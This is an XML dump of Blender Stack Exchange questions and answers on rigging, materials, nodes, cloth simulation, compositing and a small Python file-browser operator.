  <row Id="24313" PostTypeId="2" ParentId="24262" CreationDate="2015-02-06T13:13:42.880" Score="3" Body="&lt;p&gt;If the armature was created (&lt;em&gt;Edit Mode&lt;/em&gt;) in T-pose, you can easily get it back in armature tab by clicking &lt;em&gt;Rest Position&lt;/em&gt; button and get your pose again with &lt;em&gt;Pose Position&lt;/em&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the T-pose as a pose, select all bones (with &lt;kbd&gt;A&lt;/kbd&gt; ) in &lt;em&gt;Pose Mode&lt;/em&gt; and &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt; , &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; to clear all transforms. You can then create a T-pose in the &lt;em&gt;Pose Library&lt;/em&gt; to activate it easily.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="19307" LastEditDate="2020-05-06T17:36:37.967" LastActivityDate="2020-05-06T17:36:37.967" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24314" PostTypeId="2" ParentId="14529" CreationDate="2015-02-06T14:17:39.863" Score="0" Body="&lt;p&gt;From &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Simulate/Ocean#History&quot; rel=&quot;nofollow&quot;&gt;Blender's wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The core simulator was developed by Drew Whitehouse, for the Houdini&#xA;  Ocean Toolkit. This was ported to C by Hamed Zaghaghi and integrated&#xA;  in a patch for the Blender 2.4 series, sponsored by ProMotion&#xA;  Studios/Red Cartel during production of the short film Lighthouse.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In this work, Matt Ebb re-integrated the core simulator for Blender&#xA;  2.5, and added additional functionality, fixes, and optimisations, sponsored by the 'Save the Ocean Sim' project.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So perhaps the &lt;a href=&quot;https://github.com/eloop/hot&quot; rel=&quot;nofollow&quot;&gt;Houdini Ocean Toolkit&lt;/a&gt; is a good place to start for a non-Blender implementation.&lt;/p&gt;&#xA;" OwnerUserId="1617" LastEditorUserId="1617" LastEditDate="2015-02-06T14:23:21.590" LastActivityDate="2015-02-06T14:23:21.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24315" PostTypeId="2" ParentId="24282" CreationDate="2015-02-06T14:18:38.313" Score="1" Body="&lt;p&gt;Nope, GD copy() is not implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No way to know that from python afaik, you have to look at the C code (&lt;code&gt;source/blender/blenkernel/intern/library.c&lt;/code&gt;, &lt;code&gt;id_copy()&lt;/code&gt; function, around line 300).&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-02-06T14:18:38.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24316" PostTypeId="2" ParentId="24218" CreationDate="2015-02-06T15:00:24.353" Score="3" Body="&lt;p&gt;I think you can't solve this problem inside the nodeGroup itself, but you can add a value Node (for gray input factor values, RGB/vector for yellow/blue) outside of your group, plug it (from outside) to the factor input of your group and use it for tweaking and the when you ungroup, it'll keep it plugged and the value will be the same as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;inside group&#xA;&lt;img src=&quot;https://i.stack.imgur.com/orpqc.jpg&quot; alt=&quot;tabbed group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;values lost when ungrouped, default values applied&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U3ooI.jpg&quot; alt=&quot;lost&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;values linked from outside&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rZaNu.jpg&quot; alt=&quot;linked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;values saved and linked after ungrouping&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EKsu8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, it's not a bug, it's the normal behavior of node groups. Values are stored in the group, not in individual nodes inside the group. So when you ungroup (delete the group) all stored infos are deleted too.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-06T15:00:24.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24317" PostTypeId="2" ParentId="24285" CreationDate="2015-02-06T15:47:25.983" Score="1" Body="&lt;p&gt;It appears to me like an artefact of the way the viewport is drawn. As you move around you can see sections darken and lighten, these sections match up with faces in the mesh occluded by the front most faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There would appear to be some inconsistency when calculating the transparency as it passes through each face.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-06T15:47:25.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24318" PostTypeId="2" ParentId="24245" CreationDate="2015-02-06T15:52:30.670" Score="2" Body="&lt;p&gt;Any ID name (objects, but also materials, textures, etc.) are limited to 63 &lt;strong&gt;bytes&lt;/strong&gt; - since they are encoded with utf-8, it means 63 chars for basic latin alphabet, but any special character (fancy diacritics, non-latin alphabets) will use two bytes or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your specific points:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No, you can use any char you want.&lt;/li&gt;&#xA;&lt;li&gt;At best, your name can be 63 char length, less if you use fancy chars.&lt;/li&gt;&#xA;&lt;li&gt;No, each name &lt;strong&gt;must&lt;/strong&gt; be unique in a given ID type (i.e. if you have a &lt;code&gt;Cube&lt;/code&gt; object and try to name another one the same, it will be automatically changed to &lt;code&gt;Cube.001&lt;/code&gt;). However, you may have e.g. a material, object and texture with the same names.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-02-06T15:52:30.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24320" PostTypeId="2" ParentId="19623" CreationDate="2015-02-06T15:55:59.853" Score="3" Body="&lt;p&gt;I don't think subdivision and self-collision matters much, even the model size (just don't make them extremely tiny). In fact, subdivision generates even worse artifacts in some cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the &quot;exploding&quot; issue, what matters much is the &lt;strong&gt;Distance&lt;/strong&gt; parameter in &lt;em&gt;Cloth Collision&lt;/em&gt; panel for cloth object, and the &lt;strong&gt;Outer&lt;/strong&gt; parameter in &lt;em&gt;Collision&lt;/em&gt; panel for the collision object. When the initial gap between the two objects are relatively small, you need to tweak these two parameters specifically so that they will not become &quot;procedually intersecting&quot; before running simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, subdivision will lead to much better result, as long as key parameters like above can be taken good care of. But it doesn't mean other things are trivial. For example, &lt;strong&gt;don't forget to apply Scale for object&lt;/strong&gt; when doing so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nmyo4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3b3ptejJkMWZKYzg/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:41:00.447" LastActivityDate="2015-04-06T01:41:00.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24321" PostTypeId="1" AcceptedAnswerId="26261" CreationDate="2015-02-06T15:56:34.560" Score="10" ViewCount="9776" Body="&lt;p&gt;When I render something, as image or video, is there any option to change the contrast or saturation of the image without having to use any external software?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="90425" LastEditDate="2020-08-26T23:23:11.180" LastActivityDate="2020-08-26T23:23:11.180" Title="Add contrast or saturation to render?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24322" PostTypeId="1" CreationDate="2015-02-06T15:56:45.383" Score="1" ViewCount="1127" Body="&lt;p&gt;I am using a blender and  MakeHuman .mhx file to model some persons moved in a scene and captured by a fisheye lens camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I model a person with clothes on MakeHuman and I load it in blender in mode Cycles Render (because fihseye lens work only in Cycles Render). When I render I get a person without clothes and a lot of noise caused by the light (see image1). But in Blender Render I get the person with clothes (see image 2).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OdBpG.jpg&quot; alt=&quot;image1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qgzXD.png&quot; alt=&quot;image2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xAtz5.png&quot; alt=&quot;image3&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorDisplayName="user1853" LastEditDate="2016-03-29T14:44:11.500" LastActivityDate="2017-09-23T03:46:07.780" Title="Cycles is not using the materials created by MakeHuman" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;makehuman&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24324" PostTypeId="2" ParentId="20965" CreationDate="2015-02-06T16:04:57.430" Score="2" Body="&lt;p&gt;objects that needs to receive shadows (ground or other objects) can't be shadeless. They need a material with shadow/receive (and/or receive transparent) box checked.&#xA;Objects with baked shadows (monkey and icosphere) can have their cast, cast only, cast buffer shadows and cast approximative boxes unchecked. They won't cast shadows on the player (or anything) but it's not a real problem i guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M6tIP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-06T16:04:57.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24325" PostTypeId="2" ParentId="24322" CreationDate="2015-02-06T16:19:42.880" Score="2" Body="&lt;p&gt;I'm guessing that the Make Human importer sets up a Blender Internal Material based on the Material that's in the file you imported.  This is not automatic yet for Cycles rendering yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you have to go to the Materials Tab and click the 'Use Nodes' button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can up the Node Editor and add an Image Texture.  Next, plug the Texture's Color output into the the Shader node's Color input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bTN1A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-06T16:19:42.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24326" PostTypeId="2" ParentId="24321" CreationDate="2015-02-06T16:36:17.730" Score="11" Body="&lt;p&gt;The compositor has a whole section of nodes for image control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the compositor open the &lt;strong&gt;Node Editor&lt;/strong&gt; window and set it to &lt;strong&gt;compositing&lt;/strong&gt; mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IeNJx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are nodes for brightness contrast and hue/saturation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l3TrF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that there are nodes for levels, color correction, curves and other ways to affect a rendered image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting from the wiki:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;These nodes play with the colors in the image. They adjust the image's color intensity, adjust contrast and intensity, and, most importantly, mix two images together by color, transparency, or distance.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H29qB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an in depth explanation on each one of those nodes refer to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Color&quot; rel=&quot;noreferrer&quot;&gt;Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-02-06T19:26:32.547" LastActivityDate="2015-02-06T19:26:32.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24327" PostTypeId="2" ParentId="23507" CreationDate="2015-02-06T16:59:26.333" Score="2" Body="&lt;p&gt;I found this &lt;a href=&quot;https://developer.blender.org/F15950$35&quot; rel=&quot;nofollow noreferrer&quot;&gt;code sample&lt;/a&gt; (originally from the Blender wiki) to be very helpful in understanding file browser usage. Specifically, look at the &amp;quot;execute&amp;quot; method of the ScanFileOperator class, which passes self.filepath (the chosen file) to another function (scanFile):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#&#xA;#   Opens a file select dialog and starts scanning the selected file.&#xA;#&#xA;class ScanFileOperator(bpy.types.Operator):&#xA;    bl_idname = &amp;quot;error.scan_file&amp;quot;&#xA;    bl_label = &amp;quot;Scan file for return&amp;quot;&#xA;    filepath = bpy.props.StringProperty(subtype=&amp;quot;FILE_PATH&amp;quot;)&#xA; &#xA;    def execute(self, context):&#xA;        scanFile(self.filepath)&#xA;        return {'FINISHED'}&#xA; &#xA;    def invoke(self, context, event):&#xA;        context.window_manager.fileselect_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1617" LastEditorUserId="1617" LastEditDate="2020-09-16T15:14:52.833" LastActivityDate="2020-09-16T15:14:52.833" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24328" PostTypeId="1" AcceptedAnswerId="24330" CreationDate="2015-02-06T17:20:26.053" Score="3" ViewCount="550" Body="&lt;p&gt;I want to be able to see and modify the keyframes of just two objects at the same time in the timeline/dope sheet. When I select the action editor, it sends me to the single object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the dope sheet it shows me everything, but I only need those two.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-02-06T22:08:51.820" LastActivityDate="2015-02-06T22:08:51.820" Title="How can I see two objects' keyframes at the same time on the dope sheet/action editor?" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24329" PostTypeId="2" ParentId="24298" CreationDate="2015-02-06T17:26:13.210" Score="3" Body="&lt;p&gt;When playing in build-in player, you can hold &lt;kbd&gt;LMB&lt;/kbd&gt; then drag towards left / right for manual scrubbing. Some other commonly-used features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;P&lt;/kbd&gt; to toggle ping-pong mode.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;0&lt;/kbd&gt; to toggle loop.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Enter&lt;/kbd&gt; to start playing when paused.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-02-06T17:26:13.210" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24330" PostTypeId="2" ParentId="24328" CreationDate="2015-02-06T17:28:22.240" Score="4" Body="&lt;p&gt;You can limit the displayed channels in &lt;em&gt;Dopesheet&lt;/em&gt; to selected object, by selecting the little arrow icon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BgILO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-06T17:28:22.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24331" PostTypeId="2" ParentId="24305" CreationDate="2015-02-06T17:55:41.843" Score="2" Body="&lt;p&gt;It was an origin related issue as suggested in the comments by MarcClintDion and cegaton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did to fix it was:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Switched to edit mode with the curve selected;&lt;/li&gt;&#xA;&lt;li&gt;Selected the first vertex of the curve;&lt;/li&gt;&#xA;&lt;li&gt;Snap &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Cursor to selected&lt;/em&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Got out of edit mode;&lt;/li&gt;&#xA;&lt;li&gt;Set Origin &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; &gt;&lt;em&gt;Origin to 3D Cursor&lt;/em&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Selected the plane; &lt;/li&gt;&#xA;&lt;li&gt;Set Origin &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;em&gt;Origin 3D Cursor&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Not sure if steps 6 and 7 are necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally because the generated road was getting crazy cambers in some parts I went to the curve's properties and set &lt;em&gt;Twisting&lt;/em&gt; to &lt;em&gt;Z-Up&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11407" LastEditorUserId="6385" LastEditDate="2015-02-06T18:12:00.070" LastActivityDate="2015-02-06T18:12:00.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24332" PostTypeId="1" AcceptedAnswerId="24334" CreationDate="2015-02-06T18:14:03.673" Score="3" ViewCount="408" Body="&lt;p&gt;I made a material, added a bump before but it didn't worked at all.&#xA;where do I need to put the 'Bump' option on my nodes? &lt;strong&gt;Which is the correct place?&lt;/strong&gt; I'm pretty new about using this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me!&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="-1" LastEditDate="2015-02-06T18:57:33.550" LastActivityDate="2015-02-06T18:57:33.550" Title="Where do I have to put the Bump on my nodes?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2015-02-06T19:46:52.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="24333" PostTypeId="2" ParentId="24296" CreationDate="2015-02-06T18:15:01.860" Score="1" Body="&lt;p&gt;Depending on what you are trying to accomplish (a sketch of the desired result might help) and how much patience you have, you may want to use either &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/sculpt_paint/sculpting/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;sculpt mode&lt;/a&gt; or &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/editors/3dview/controls/proportional_editing.html?#proportional-editing&quot; rel=&quot;nofollow noreferrer&quot;&gt;proportional editing&lt;/a&gt; in edit mode.&lt;/p&gt;&#xA;&lt;p&gt;Sculpt mode is helpful if you have a large number of vertices, or if you want to deform meshes with natural strokes of the mouse. If you need more precise control, proportional editing allows you to move individual verts/edges/faces around, and the neighboring geometry will &amp;quot;stretch&amp;quot; in similar ways. Both of these allow you to adjust the radius of effect.&lt;/p&gt;&#xA;" OwnerUserId="1617" LastEditorUserId="15924" LastEditDate="2020-10-20T15:38:57.587" LastActivityDate="2020-10-20T15:38:57.587" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24334" PostTypeId="2" ParentId="24332" CreationDate="2015-02-06T18:17:41.183" Score="2" Body="&lt;p&gt;Node &lt;strong&gt;Bump&lt;/strong&gt; in &quot;&lt;strong&gt;Vector&lt;/strong&gt;&quot; category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DldWm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11173" LastActivityDate="2015-02-06T18:17:41.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24335" PostTypeId="2" ParentId="24332" CreationDate="2015-02-06T18:18:02.423" Score="3" Body="&lt;p&gt;Add &gt; Vector &gt; Bump. Connect like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/thjCO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also feed the texture directly into the &lt;em&gt;displacement&lt;/em&gt; input of &lt;em&gt;Material Output&lt;/em&gt; node and use Multiply Math node to adjust the strength.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-06T18:18:02.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24336" PostTypeId="1" AcceptedAnswerId="24337" CreationDate="2015-02-06T18:36:40.413" Score="2" ViewCount="140" Body="&lt;p&gt;I made a texture with nodes on Blender Cycles, i added a image texture then a bump, and the bump works but the image looks too ''white''. &#xA;I need the color back to normal but with the bump, is this possible or i'll have to also make a new material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rhDvG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-06T20:07:04.057" Title="I added a bump to a material, but the color doesn't seem right" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24337" PostTypeId="2" ParentId="24336" CreationDate="2015-02-06T18:43:44.937" Score="2" Body="&lt;p&gt;The problem you are having is being caused by the fact that you have three shaders, but only one is influenced by the image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plug your colour map (top image texture) into the colour input of the other diffuse shader and the glossy shader. &lt;/p&gt;&#xA;" OwnerUserId="9603" LastEditorUserId="9603" LastEditDate="2015-02-06T20:07:04.057" LastActivityDate="2015-02-06T20:07:04.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24338" PostTypeId="2" ParentId="24165" CreationDate="2015-02-06T19:22:06.717" Score="3" Body="&lt;p&gt;You can use Blender's group linking system:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select both your mesh and its armature&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt; to put them in a group (and eventually hit &lt;kbd&gt;F6&lt;/kbd&gt; to name that group)&lt;/li&gt;&#xA;&lt;li&gt;If you need a clean scene, you can create a new empty scene (in the &quot;info&quot; toolbar (at the top of the default UI layout), the &lt;strong&gt;+&lt;/strong&gt; button)&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; and select &lt;strong&gt;&quot;Group instance&quot;&lt;/strong&gt;, then choose the group you just created&lt;/li&gt;&#xA;&lt;li&gt;repeat the last step as many of time you need duplicates&lt;/li&gt;&#xA;&lt;li&gt;play the animation, all the groups should be animated the same.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you need one group instance to play the animation mirrored, you can scale it on X and Y axis with value &lt;strong&gt;-1&lt;/strong&gt; (&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; &gt; &lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2015-02-06T19:22:06.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24339" PostTypeId="1" AcceptedAnswerId="24341" CreationDate="2015-02-06T19:30:39.963" Score="4" ViewCount="3719" Body="&lt;p&gt;I'm trying to make a 'glass' material for a 3D Eye that i'm creating, the second one (on the image) works fine since it have the colors and everything that i want, but now i'm trying to create a transparent material like a glass to put it over the second one...i'm trying and the nearest solution for this is like the one in the image..but obviously transparent..i also tried Glass BSDF but i cannot make to get it transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me if you can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TocO8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-06T19:59:17.173" Title="How can i make transparent glass like material to put it over another object?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24340" PostTypeId="1" AcceptedAnswerId="24342" CreationDate="2015-02-06T19:39:03.970" Score="16" ViewCount="46039" Body="&lt;p&gt;How can I change my object material to an image texture? I want to be able to export a blender material applied to an object as (for example) a .png file. Is this possible ?&lt;/p&gt;&#xA;" OwnerUserId="11439" LastEditorUserId="6204" LastEditDate="2015-02-06T20:08:55.627" LastActivityDate="2020-12-20T06:29:35.820" Title="How can you save Blender materials as image files?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;image&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24341" PostTypeId="2" ParentId="24339" CreationDate="2015-02-06T19:50:48.577" Score="2" Body="&lt;p&gt;What you need to change is the &lt;em&gt;Saturation&lt;/em&gt; and the &lt;em&gt;Value&lt;/em&gt; of the &lt;em&gt;Glass BSDF&lt;/em&gt; node. With an &lt;em&gt;RGB Input&lt;/em&gt; you just do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CjnAO.jpg&quot; alt=&quot;RGB HSV&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an image texture, you will need to do something more like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tX8Eo.jpg&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make the saturation less, the value less, and the contrast less, allowing the glass to be much more transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;High &lt;em&gt;Saturation&lt;/em&gt;, low &lt;em&gt;Value&lt;/em&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UPkwG.jpg&quot; alt=&quot;High sat, low val&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Low &lt;em&gt;Saturation&lt;/em&gt;, high &lt;em&gt;Value&lt;/em&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gppQy.jpg&quot; alt=&quot;Low sat, high val&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the cubes in the background are now visible, and the environment texture behind the sphere is now much more visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other things to check:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;em&gt;Roughness&lt;/em&gt; value&lt;/li&gt;&#xA;&lt;li&gt;Any mix nodes, even unused (press &lt;kbd&gt;M&lt;/kbd&gt; to mute them)&lt;/li&gt;&#xA;&lt;li&gt;The right material is assigned to the object&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-06T19:59:17.173" LastActivityDate="2015-02-06T19:59:17.173" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
